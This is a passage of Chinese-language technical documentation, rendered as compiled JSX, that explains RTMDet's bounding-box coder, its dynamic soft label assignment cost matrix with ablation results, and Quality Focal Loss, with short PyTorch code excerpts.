",(0,l.jsx)(n.code,{children:"Matching Cost"})," \u77e9\u9635\u518d\u901a\u8fc7 ",(0,l.jsx)(n.code,{children:"top-k"})," \u7684\u65b9\u5f0f\u52a8\u6001\u51b3\u5b9a\u6837\u672c\u9009\u53d6\u4ee5\u53ca\u6837\u672c\u4e2a\u6570\u3002\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f,\n\u5728\u7f51\u7edc\u4f18\u5316\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u81ea\u52a8\u9009\u53d6\u5bf9\u5206\u7c7b\u6216\u8005\u56de\u5f52\u66f4\u52a0\u654f\u611f\u6709\u6548\u7684\u4f4d\u7f6e\u7684\u6837\u672c, \u5b83\u4e0d\u518d\u53ea\u4f9d\u8d56\u5148\u9a8c\u7684\u9759\u6001\u7684\u4fe1\u606f, \u800c\u662f\u4f7f\u7528\u5f53\u524d\u7684\u9884\u6d4b\u7ed3\u679c\u53bb\u52a8\u6001\u5bfb\u627e\u6700\u4f18\u7684\u5339\u914d, \u53ea\u8981\u6a21\u578b\u7684\u9884\u6d4b\u8d8a\u51c6\u786e, \u5339\u914d\u7b97\u6cd5\u6c42\u5f97\u7684\u7ed3\u679c\u4e5f\u4f1a\u66f4\u4f18\u79c0\u3002\u4f46\u662f\u5728\u7f51\u7edc\u8bad\u7ec3\u7684\u521d\u671f, \u7f51\u7edc\u7684\u5206\u7c7b\u4ee5\u53ca\u56de\u5f52\u662f\u968f\u673a\u521d\u59cb\u5316, \u8fd9\u4e2a\u65f6\u5019\u8fd8\u662f\u9700\u8981 ",(0,l.jsx)(n.code,{children:"\u5148\u9a8c"})," \u6765\u7ea6\u675f, \u4ee5\u8fbe\u5230 ",(0,l.jsx)(n.code,{children:"\u51b7\u542f\u52a8"})," \u7684\u6548\u679c\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"RTMDet"})," \u4f5c\u8005\u4e5f\u662f\u91c7\u7528\u4e86\u52a8\u6001\u7684 ",(0,l.jsx)(n.code,{children:"SimOTA"})," \u505a\u6cd5\uff0c\u4e0d\u8fc7\u5176\u5bf9\u52a8\u6001\u7684\u6b63\u8d1f\u6837\u672c\u5206\u914d\u7b56\u7565\u8fdb\u884c\u4e86\u6539\u8fdb\u3002 \u4e4b\u524d\u7684\u52a8\u6001\u5339\u914d\u7b56\u7565\uff08 ",(0,l.jsx)(n.code,{children:"HungarianAssigner"})," \u3001",(0,l.jsx)(n.code,{children:"OTA"})," \uff09\u5f80\u5f80\u4f7f\u7528\u4e0e ",(0,l.jsx)(n.code,{children:"Loss"})," \u5b8c\u5168\u4e00\u81f4\u7684\u4ee3\u4ef7\u51fd\u6570\u4f5c\u4e3a\u5339\u914d\u7684\u4f9d\u636e\uff0c\u4f46\u6211\u4eec\u7ecf\u8fc7\u5b9e\u9a8c\u53d1\u73b0\u8fd9\u5e76\u4e0d\u4e00\u5b9a\u65f6\u6700\u4f18\u7684\u3002 \u4f7f\u7528\u66f4\u591a ",(0,l.jsx)(n.code,{children:"Soften"})," \u7684 ",(0,l.jsx)(n.code,{children:"Cost"})," \u4ee5\u53ca\u5148\u9a8c\uff0c\u80fd\u591f\u63d0\u5347\u6027\u80fd\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"131-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",children:"1.3.1 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b"}),"\n",(0,l.jsxs)(n.p,{children:["RTMDet \u7684 BBox Coder \u91c7\u7528\u7684\u662f ",(0,l.jsx)(n.code,{children:"mmdet.DistancePointBBoxCoder"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8be5\u7c7b\u7684 docstring \u4e3a ",(0,l.jsx)(n.code,{children:"This coder encodes gt bboxes (x1, y1, x2, y2) into (top, bottom, left, right) and decode it back to the original."})]}),"\n",(0,l.jsx)(n.p,{children:"\u7f16\u7801\u5668\u5c06 gt bboxes (x1, y1, x2, y2) \u7f16\u7801\u4e3a (top, bottom, left, right)\uff0c\u5e76\u4e14\u89e3\u7801\u81f3\u539f\u56fe\u50cf\u4e0a\u3002"}),"\n",(0,l.jsx)(n.p,{children:"MMDet \u7f16\u7801\u7684\u6838\u5fc3\u6e90\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'def bbox2distance(points: Tensor, bbox: Tensor, ...) -> Tensor:\n """\n points (Tensor): \u76f8\u5f53\u4e8e scale \u503c stride \uff0c\u4e14\u6bcf\u4e2a\u9884\u6d4b\u70b9\u4ec5\u4e3a\u4e00\u4e2a\u6b63\u65b9\u5f62 anchor \u7684 anchor point [x, y]\uff0cShape (n, 2) or (b, n, 2).\n bbox (Tensor): Bbox \u4e3a\u4e58\u4e0a stride \u7684\u7f51\u7edc\u9884\u6d4b\u503c\uff0c\u683c\u5f0f\u4e3a xyxy\uff0cShape (n, 4) or (b, n, 4).\n """\n # \u8ba1\u7b97\u70b9\u8ddd\u79bb\u56db\u8fb9\u7684\u8ddd\u79bb\n left = points[..., 0] - bbox[..., 0]\n top = points[..., 1] - bbox[..., 1]\n right = bbox[..., 2] - points[..., 0]\n bottom = bbox[..., 3] - points[..., 1]\n\n ...\n\n return torch.stack([left, top, right, bottom], -1)\n'})}),"\n",(0,l.jsx)(n.p,{children:"MMDetection \u89e3\u7801\u7684\u6838\u5fc3\u6e90\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'def distance2bbox(points: Tensor, distance: Tensor, ...) -> Tensor:\n """\n \u901a\u8fc7\u8ddd\u79bb\u53cd\u7b97 bbox \u7684 xyxy\n points (Tensor): \u6b63\u65b9\u5f62\u7684\u9884\u6d4b anchor \u7684 anchor point [x, y]\uff0cShape (B, N, 2) or (N, 2).\n distance (Tensor): \u8ddd\u79bb\u56db\u8fb9\u7684\u8ddd\u79bb\u3002(left, top, right, bottom). Shape (B, N, 4) or (N, 4)\n """\n\n # \u53cd\u7b97 bbox xyxy\n x1 = points[..., 0] - distance[..., 0]\n y1 = points[..., 1] - distance[..., 1]\n x2 = points[..., 0] + distance[..., 2]\n y2 = points[..., 1] + distance[..., 3]\n\n bboxes = torch.stack([x1, y1, x2, y2], -1)\n\n ...\n\n return bboxes\n'})}),"\n",(0,l.jsx)(n.h4,{id:"132-\u5339\u914d\u7b56\u7565",children:"1.3.2 \u5339\u914d\u7b56\u7565"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"RTMDet"})," \u63d0\u51fa\u4e86 ",(0,l.jsx)(n.code,{children:"Dynamic Soft Label Assigner"})," \u6765\u5b9e\u73b0\u6807\u7b7e\u7684\u52a8\u6001\u5339\u914d\u7b56\u7565, \u8be5\u65b9\u6cd5\u4e3b\u8981\u5305\u62ec\u4f7f\u7528 ",(0,l.jsx)(n.strong,{children:"\u4f4d\u7f6e\u5148\u9a8c\u4fe1\u606f\u635f\u5931"})," , ",(0,l.jsx)(n.strong,{children:"\u6837\u672c\u56de\u5f52\u635f\u5931"})," , ",(0,l.jsx)(n.strong,{children:"\u6837\u672c\u5206\u7c7b\u635f\u5931"})," , \u540c\u65f6\u5bf9\u4e09\u4e2a\u635f\u5931\u8fdb\u884c\u4e86 ",(0,l.jsx)(n.code,{children:"Soft"})," \u5904\u7406\u8fdb\u884c\u53c2\u6570\u8c03\u4f18, \u4ee5\u8fbe\u5230\u6700\u4f73\u7684\u52a8\u6001\u5339\u914d\u6548\u679c\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u8be5\u65b9\u6cd5 Matching Cost \u77e9\u9635\u7531\u5982\u4e0b\u635f\u5931\u6784\u6210\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"cost_matrix = soft_cls_cost + iou_cost + soft_center_prior\n"})}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsx)(n.li,{children:"Soft_Center_Prior"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"C\\_{center} = \\\\alpha^{|x\\_{pred}-x\\_{gt}|-\\\\beta}\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# valid_prior Tensor[N,4] \u8868\u793aanchor point\n# 4\u5206\u522b\u8868\u793a x, y, \u4ee5\u53ca\u5bf9\u5e94\u7684\u7279\u5f81\u5c42\u7684 stride, stride\ngt_center = (gt_bboxes[:, :2] + gt_bboxes[:, 2:]) / 2.0\nvalid_prior = priors[valid_mask]\nstrides = valid_prior[:, 2]\n# \u8ba1\u7b97gt\u4e0eanchor point\u7684\u4e2d\u5fc3\u8ddd\u79bb\u5e76\u8f6c\u6362\u5230\u7279\u5f81\u56fe\u5c3a\u5ea6\ndistance = (valid_prior[:, None, :2] - gt_center[None, :, :]\n ).pow(2).sum(-1).sqrt() / strides[:, None]\n# \u4ee510\u4e3a\u5e95\u8ba1\u7b97\u4f4d\u7f6e\u7684\u8f6f\u5316\u635f\u5931,\u9650\u5b9a\u5728gt\u76846\u4e2a\u5355\u5143\u683c\u4ee5\u5185\nsoft_center_prior = torch.pow(10, distance - 3)\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"2",children:["\n",(0,l.jsx)(n.li,{children:"IOU_Cost"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"C\\_{reg} = -log(IOU)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# \u8ba1\u7b97\u56de\u5f52 bboxes \u548c gts \u7684 iou\npairwise_ious = self.iou_calculator(valid_decoded_bbox, gt_bboxes)\n# \u5c06 iou \u4f7f\u7528 log \u8fdb\u884c soft , iou \u8d8a\u5c0f cost \u66f4\u5c0f\niou_cost = -torch.log(pairwise_ious + EPS) * 3\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"3",children:["\n",(0,l.jsx)(n.li,{children:"Soft_Cls_Cost"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"C\\_{cls} = CE(P,Y\\_{soft}) \\*(Y\\_{soft}-P)^2\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# \u751f\u6210\u5206\u7c7b\u6807\u7b7e\n gt_onehot_label = (\n F.one_hot(gt_labels.to(torch.int64),\n pred_scores.shape[-1]).float().unsqueeze(0).repeat(\n num_valid, 1, 1))\nvalid_pred_scores = valid_pred_scores.unsqueeze(1).repeat(1, num_gt, 1)\n# \u4e0d\u5355\u5355\u5c06\u5206\u7c7b\u6807\u7b7e\u4e3a01,\u800c\u662f\u6362\u6210\u4e0e gt \u7684 iou\nsoft_label = gt_onehot_label * pairwise_ious[..., None]\n# \u4f7f\u7528 quality focal loss \u8ba1\u7b97\u5206\u7c7b\u635f\u5931 cost ,\u4e0e\u5b9e\u9645\u7684\u5206\u7c7b\u635f\u5931\u8ba1\u7b97\u4fdd\u6301\u4e00\u81f4\nscale_factor = soft_label - valid_pred_scores.sigmoid()\nsoft_cls_cost = F.binary_cross_entropy_with_logits(\n valid_pred_scores, soft_label,\n reduction='none') * scale_factor.abs().pow(2.0)\nsoft_cls_cost = soft_cls_cost.sum(dim=-1)\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u901a\u8fc7\u8ba1\u7b97\u4e0a\u8ff0\u4e09\u4e2a\u635f\u5931\u7684\u548c\u5f97\u5230\u6700\u7ec8\u7684 ",(0,l.jsx)(n.code,{children:"cost_matrix"})," \u540e, \u518d\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"SimOTA"})," \u51b3\u5b9a\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"GT"})," \u5339\u914d\u7684\u6837\u672c\u7684\u4e2a\u6570\u5e76\u51b3\u5b9a\u6700\u7ec8\u7684\u6837\u672c\u3002\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:["\u9996\u5148\u901a\u8fc7\u81ea\u9002\u5e94\u8ba1\u7b97\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u8981\u9009\u53d6\u7684\u6837\u672c\u6570\u91cf\uff1a \u53d6\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u4e0e\u6240\u6709 ",(0,l.jsx)(n.code,{children:"bboxes"})," \u524d ",(0,l.jsx)(n.code,{children:"13"})," \u5927\u7684 ",(0,l.jsx)(n.code,{children:"iou"}),", \u5f97\u5230\u5b83\u4eec\u7684\u548c\u53d6\u6574\u540e\u4f5c\u4e3a\u8fd9\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u7684 ",(0,l.jsx)(n.code,{children:"\u6837\u672c\u6570\u76ee"})," , \u6700\u5c11\u4e3a ",(0,l.jsx)(n.code,{children:"1"})," \u4e2a, \u8bb0\u4e3a ",(0,l.jsx)(n.code,{children:"dynamic_ks"}),"\u3002"]}),"\n",(0,l.jsxs)(n.li,{children:["\u5bf9\u4e8e\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," , \u5c06\u5176 ",(0,l.jsx)(n.code,{children:"cost_matrix"})," \u77e9\u9635\u524d ",(0,l.jsx)(n.code,{children:"dynamic_ks"})," \u5c0f\u7684\u4f4d\u7f6e\u4f5c\u4e3a\u8be5 ",(0,l.jsx)(n.code,{children:"gt"})," \u7684\u6b63\u6837\u672c\u3002"]}),"\n",(0,l.jsxs)(n.li,{children:["\u5bf9\u4e8e\u67d0\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"bbox"}),", \u5982\u679c\u88ab\u5339\u914d\u5230\u591a\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u5c31\u5c06\u4e0e\u8fd9\u4e9b ",(0,l.jsx)(n.code,{children:"gts"})," \u7684 ",(0,l.jsx)(n.code,{children:"cost_marix"})," \u4e2d\u6700\u5c0f\u7684\u90a3\u4e2a\u4f5c\u4e3a\u5176 ",(0,l.jsx)(n.code,{children:"label"}),"\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u7f51\u7edc\u8bad\u7ec3\u521d\u671f\uff0c\u56e0\u53c2\u6570\u521d\u59cb\u5316\uff0c\u56de\u5f52\u548c\u5206\u7c7b\u7684\u635f\u5931\u503c ",(0,l.jsx)(n.code,{children:"Cost"})," \u5f80\u5f80\u8f83\u5927, \u8fd9\u65f6\u5019 ",(0,l.jsx)(n.code,{children:"IOU"})," \u6bd4\u8f83\u5c0f\uff0c \u9009\u53d6\u7684\u6837\u672c\u8f83\u5c11\uff0c\u4e3b\u8981\u8d77\u4f5c\u7528\u7684\u662f ",(0,l.jsx)(n.code,{children:"Soft_center_prior"})," \u4e5f\u5c31\u662f\u4f4d\u7f6e\u4fe1\u606f\uff0c\u4f18\u5148\u9009\u53d6\u4f4d\u7f6e\u8ddd\u79bb ",(0,l.jsx)(n.code,{children:"GT"})," \u6bd4\u8f83\u8fd1\u7684\u6837\u672c\u4f5c\u4e3a\u6b63\u6837\u672c\uff0c\u8fd9\u4e5f\u7b26\u5408\u4eba\u4eec\u7684\u7406\u89e3\uff0c\u5728\u7f51\u7edc\u524d\u671f\u7ed9\u5c11\u91cf\u5e76\u4e14\u6709\u8db3\u591f\u8d28\u91cf\u7684\u6837\u672c\uff0c\u4ee5\u8fbe\u5230\u51b7\u542f\u52a8\u3002\n\u5f53\u7f51\u7edc\u8fdb\u884c\u8bad\u7ec3\u4e00\u6bb5\u65f6\u95f4\u8fc7\u540e\uff0c\u5206\u7c7b\u5206\u652f\u548c\u56de\u5f52\u5206\u652f\u90fd\u8fdb\u884c\u4e86\u4e00\u5b9a\u7684\u4f18\u5316\u540e\uff0c\u8fd9\u65f6 ",(0,l.jsx)(n.code,{children:"IOU"})," \u53d8\u5927\uff0c \u9009\u53d6\u7684\u6837\u672c\u4e5f\u9010\u6e10\u589e\u591a\uff0c\u8fd9\u65f6\u7f51\u7edc\u4e5f\u6709\u80fd\u529b\u5b66\u4e60\u5230\u66f4\u591a\u7684\u6837\u672c\uff0c\u540c\u65f6\u56e0\u4e3a ",(0,l.jsx)(n.code,{children:"IOU_Cost"})," \u4ee5\u53ca ",(0,l.jsx)(n.code,{children:"Soft_Cls_Cost"})," \u53d8\u5c0f\uff0c\u7f51\u7edc\u4e5f\u4f1a\u52a8\u6001\u7684\u627e\u5230\u66f4\u6709\u5229\u4f18\u5316\u5206\u7c7b\u4ee5\u53ca\u56de\u5f52\u7684\u6837\u672c\u70b9\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5728 ",(0,l.jsx)(n.code,{children:"Resnet50-1x"})," \u7684\u4e09\u79cd\u635f\u5931\u7684\u6d88\u878d\u5b9e\u9a8c\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"Soft_cls_cost"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"Soft_center_prior"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"Log_IoU_cost"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"39.9"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.3"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.8"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"41.3"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0e\u5176\u4ed6\u4e3b\u6d41 ",(0,l.jsx)(n.code,{children:"Assign"})," \u65b9\u6cd5\u5728 ",(0,l.jsx)(n.code,{children:"Resnet50-1x"})," \u7684\u5bf9\u6bd4\u5b9e\u9a8c\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"center"},children:"method"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"ATSS"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"39.2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"PAA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.4"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"OTA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"TOOD(w/o TAH)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"Ours"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"41.3"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u65e0\u8bba\u662f ",(0,l.jsx)(n.code,{children:"Resnet50-1x"})," \u8fd8\u662f\u6807\u51c6\u7684\u8bbe\u7f6e\u4e0b\uff0c\u8fd8\u662f\u5728",(0,l.jsx)(n.code,{children:"300epoch"})," + ",(0,l.jsx)(n.code,{children:"havy augmentation"}),", \u76f8\u6bd4\u4e8e ",(0,l.jsx)(n.code,{children:"SimOTA"})," \u3001 ",(0,l.jsx)(n.code,{children:"OTA"})," \u4ee5\u53ca ",(0,l.jsx)(n.code,{children:"TOOD"})," \u4e2d\u7684 ",(0,l.jsx)(n.code,{children:"TAL"})," \u5747\u6709\u63d0\u5347\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"300e + Mosaic & MixUP"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"RTMDet-s + SimOTA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"43.2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"RTMDet-s + DSLA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"44.5"})]})]})]}),"\n",(0,l.jsx)(n.h3,{id:"14-loss-\u8bbe\u8ba1",children:"1.4 Loss \u8bbe\u8ba1"}),"\n",(0,l.jsxs)(n.p,{children:["\u53c2\u4e0e Loss \u8ba1\u7b97\u7684\u5171\u6709\u4e24\u4e2a\u503c\uff1a",(0,l.jsx)(n.code,{children:"loss_cls"})," \u548c ",(0,l.jsx)(n.code,{children:"loss_bbox"}),"\uff0c\u5176\u5404\u81ea\u4f7f\u7528\u7684 Loss \u65b9\u6cd5\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"loss_cls"}),"\uff1a",(0,l.jsx)(n.code,{children:"mmdet.QualityFocalLoss"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"loss_bbox"}),"\uff1a",(0,l.jsx)(n.code,{children:"mmdet.GIoULoss"})]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6743\u91cd\u6bd4\u4f8b\u662f\uff1a",(0,l.jsx)(n.code,{children:"loss_cls"})," : ",(0,l.jsx)(n.code,{children:"loss_bbox"})," = ",(0,l.jsx)(n.code,{children:"1 : 2"})]}),"\n",(0,l.jsx)(n.h4,{id:"qualityfocalloss",children:"QualityFocalLoss"}),"\n",(0,l.jsxs)(n.p,{children:["Quality Focal Loss (QFL) \u662f ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2006.04388",children:"Generalized Focal Loss: Learning Qualified and Distributed Bounding Boxes for Dense Object Detection"})," \u7684\u4e00\u90e8\u5206\u3002"]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/25873202/192767279-4e69f935-1685-4089-82a3-0add201f98cc.png",alt:"image"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u666e\u901a\u7684 Focal Loss \u516c\u5f0f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"{FL}(p) = -(1-p_t)^\\gamma\\log(p_t),p_t = \\begin{cases}\np, & {when} \\ y = 1 \\\\\n1 - p, & {when} \\ y = 0\n\\end{cases}\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5176\u4e2d {math}",(0,l.jsx)(n.code,{children:"y\\in{1,0}"})," \u6307\u5b9a\u771f\u5b9e\u7c7b\uff0c{math}",(0,l.jsx)(n.code,{children:"p\\in[0,1]"})," \u8868\u793a\u6807\u7b7e {math}",(0,l.jsx)(n.code,{children:"y = 1"})," \u7684\u7c7b\u4f30\u8ba1\u6982\u7387\u3002{math}",(0,l.jsx)(n.code,{children:"\\gamma"})," \u662f\u53ef\u8c03\u805a\u7126\u53c2\u6570\u3002\u5177\u4f53\u6765\u8bf4\uff0cFL \u7531\u6807\u51c6\u4ea4\u53c9\u71b5\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-\\log(p_t)"})," \u548c\u52a8\u6001\u6bd4\u4f8b\u56e0\u5b50\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-(1-p_t)^\\gamma"})," \u7ec4\u6210\uff0c\u5176\u4e2d\u6bd4\u4f8b\u56e0\u5b50 {math}",(0,l.jsx)(n.code,{children:"-(1-p_t)^\\gamma"})," \u5728\u8bad\u7ec3\u671f\u95f4\u81ea\u52a8\u964d\u4f4e\u7b80\u5355\u7c7b\u5bf9\u4e8e loss \u7684\u6bd4\u91cd\uff0c\u5e76\u4e14\u8fc5\u901f\u5c06\u6a21\u578b\u96c6\u4e2d\u5728\u56f0\u96be\u7c7b\u4e0a\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u9996\u5148 {math}",(0,l.jsx)(n.code,{children:"y = 0"})," \u8868\u793a\u8d28\u91cf\u5f97\u5206\u4e3a 0 \u7684\u8d1f\u6837\u672c\uff0c{math}",(0,l.jsx)(n.code,{children:"0 < y \\leq 1"})," \u8868\u793a\u76ee\u6807 IoU \u5f97\u5206\u4e3a y \u7684\u6b63\u6837\u672c\u3002\u4e3a\u4e86\u9488\u5bf9\u8fde\u7eed\u7684\u6807\u7b7e\uff0c\u6269\u5c55 FL \u7684\u4e24\u4e2a\u90e8\u5206\uff1a"]}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:["\u4ea4\u53c9\u71b5\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-\\log(p_t)"})," \u6269\u5c55\u4e3a\u5b8c\u6574\u7248\u672c {math}",(0,l.jsx)(n.code,{children:"-((1-y)\\log(1-\\sigma)+y\\log(\\sigma))"})]}),"\n",(0,l.jsxs)(n.li,{children:["\u6bd4\u4f8b\u56e0\u5b50\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-(1-p_t)^\\gamma"})," \u88ab\u6cdb\u5316\u4e3a\u4f30\u8ba1 {math}",(0,l.jsx)(n.code,{children:"\\gamma"})," \u4e0e\u5176\u8fde\u7eed\u6807\u7b7e {math}",(0,l.jsx)(n.code,{children:"y"})," \u7684\u7edd\u5bf9\u8ddd\u79bb\uff0c\u5373 {math}",(0,l.jsx)(n.code,{children:"|y-\\sigma|^\\beta (\\beta \\geq 0)"})," \u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u7ed3\u5408\u4e0a\u9762\u4e24\u4e2a\u90e8\u5206\u4e4b\u540e\uff0c\u6211\u4eec\u5f97\u51fa QFL \u7684\u516c\u5f0f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"{QFL}(\\sigma) = -|y-\\sigma|^\\beta((1-y)\\log(1-\\sigma)+y\\log(\\sigma))\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5177\u4f53\u4f5c\u7528\u662f\uff1a\u53ef\u4ee5\u5c06\u79bb\u6563\u6807\u7b7e\u7684 ",(0,l.jsx)(n.code,{children:"focal loss"})," \u6cdb\u5316\u5230\u8fde\u7eed\u6807\u7b7e\u4e0a\uff0c\u5c06 bboxes \u4e0e gt \u7684 IoU \u7684\u4f5c\u4e3a\u5206\u7c7b\u5206\u6570\u7684\u6807\u7b7e\uff0c\u4f7f\u5f97\u5206\u7c7b\u5206\u6570\u4e3a\u8868\u5f81\u56de\u5f52\u8d28\u91cf\u7684\u5206\u6570\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"MMDetection \u5b9e\u73b0\u6e90\u7801\u7684\u6838\u5fc3\u90e8\u5206\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'@weighted_loss\ndef quality_focal_loss(pred, target, beta=2.0):\n """\n pred (torch.Tensor): \u7528\u5f62\u72b6\uff08N\uff0cC\uff09\u8054\u5408\u8868\u793a\u9884\u6d4b\u5206\u7c7b\u548c\u8d28\u91cf\uff08IoU\uff09\uff0cC\u662f\u7c7b\u7684\u6570\u91cf\u3002\n target (tuple([torch.Tensor])): \u76ee\u6807\u7c7b\u522b\u6807\u7b7e\u7684\u5f62\u72b6\u4e3a\uff08N\uff0c\uff09\uff0c\u76ee\u6807\u8d28\u91cf\u6807\u7b7e\u7684\u5f62\u72b6\u662f\uff08N\uff0c\uff0c\uff09\u3002\n beta (float): \u8ba1\u7b97\u6bd4\u4f8b\u56e0\u5b50\u7684 